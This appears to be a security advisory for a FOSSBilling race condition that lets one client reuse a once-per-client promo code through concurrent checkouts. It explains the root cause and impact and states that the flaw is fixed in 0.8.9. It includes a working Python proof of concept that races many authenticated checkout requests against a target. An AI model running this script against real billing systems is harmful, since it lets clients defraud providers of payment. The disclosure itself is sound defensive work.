Concurrent Checkouts Let One Client Reuse a once-per-client Promo Code Unlimited Times in FOSSBilling
Overview
once_per_client can be redeemed an unlimited number of times by a single client account through concurrent POST /api/client/cart/checkout requests. The eligibility check is a non-atomic COUNT query and the redemption row is written much later with no unique constraint or row lock in between, so parallel checkouts all read zero and all pass before any of them records a use.
FOSSBilling is a free, open-source billing and client-management platform used by hosting providers and SaaS operators. It lets an operator create promotional codes with usage constraints — including once_per_client, meaning each client account may redeem the code at most once. This finding defeats that constraint with a classic time-of-check-to-time-of-use (TOCTOU) race.
It is the per-client sibling of the global-limit race I reported separately. The global maxuses limit was made atomic in 0.8.0 via PromoRepository::incrementUsageIfAvailable(); the per-client check never received the same treatment, and the gap dates back to the initial release.
Root Cause Analysis
A check that reads, then much later writes
Each checkout re-validates the promo in Cart\Service::checkoutCart() via isClientAbleToUsePromo(). For a once_per_client promo the decision comes from a COUNT query in PromoRedemptionRepository::clientHasActiveCheckoutApplication():
$count = (int) $this->createQueryBuilder('pr')
->select('COUNT(pr.id)')
->where('IDENTITY(pr.promo) = :promoId')
->andWhere('pr.clientId = :clientId')
->andWhere('pr.phase = :phase')
->andWhere('pr.status IN (:statuses)')
->getQuery()
->getSingleScalarResult();
return $count > 0;
The redemption rows are written later in Product\Service::createCheckoutPromoRedemptions() with a plain persist and flush. The table carries only plain indexes; nothing between the check and the insert takes a lock; and the check runs before the checkout transaction even opens. Concurrent checkouts each read a count of zero and all commit.
COUNT check happens early in request handling, and the redemption insert happens near the end of a multi-step checkout. The entire checkout body sits inside the check-to-use window, so even modest concurrency (a handful of simultaneous requests) reliably overlaps.
Attack Chain
Proof of Concept
The race is driven with a threading.Barrier so all requests release at the same instant, maximizing overlap of the check-to-use window. The same approach reproduces the sibling global-limit race.
#!/usr/bin/env python3
# CVE-2026-111055 — FOSSBilling once_per_client promo race.
# Drives N concurrent checkouts so the non-atomic per-client COUNT check in
# Cart\Service::checkoutCart() passes in all of them before any redemption is written.
# Usage: python3 poc.py https://target client_token ONCE_PER_CLIENT_CODE [N]
import requests, threading, sys
TARGET = sys.argv[1].rstrip("/")
TOKEN = sys.argv[2] # authenticated client session token
PROMO = sys.argv[3] # a once_per_client promo code
N = int(sys.argv[4]) if len(sys.argv) > 4 else 10
barrier = threading.Barrier(N)
results = []
def checkout():
s = requests.Session(); s.verify = False
barrier.wait() # release all threads together -> max overlap
r = s.post(f"{TARGET}/api/client/cart/checkout",
headers={"Authorization": f"Bearer {TOKEN}"},
json={"promocode": PROMO})
results.append(r.status_code)
# (apply the promo to the cart first, then race the checkout)
threads = [threading.Thread(target=checkout) for _ in range(N)]
for t in threads: t.start()
for t in threads: t.join()
ok = results.count(200)
print(f"[*] {N} concurrent checkouts -> {ok} succeeded with the same once_per_client code")
print("[+] RACE CONFIRMED" if ok > 1 else "[-] no overlap this run; retry with higher N")
Impact
A single client can use a promo meant for one use per client on as many orders as they can check out at once, keeping the discount every time:
- Partial discount — repeated underpayment across many orders.
- 100% / over-value code — each order totals zero or less, so no invoice is created and the order can activate without payment, letting one client collect many free services from a code meant for one.
- Finite global
maxuses— the same client can consume the shared pool alone, leaving nothing for other clients.
Damage stops at free provisioning: promos are discount-only and zero-total orders create no invoice or balance, which is why this is rated Moderate rather than High.
The Fix & Workarounds
The correct fix mirrors the 0.8.0 treatment of the global limit: make the per-client eligibility atomic — a conditional insert / unique constraint on (promo, clientId, phase) or a row lock that closes the check-to-use window — rather than a COUNT that can be read concurrently. Resolved in FOSSBilling 0.8.9 (released 23 October 2026).
once_per_client promos, and review each promo's redemption list for repeat use by a single client, disabling any abused code.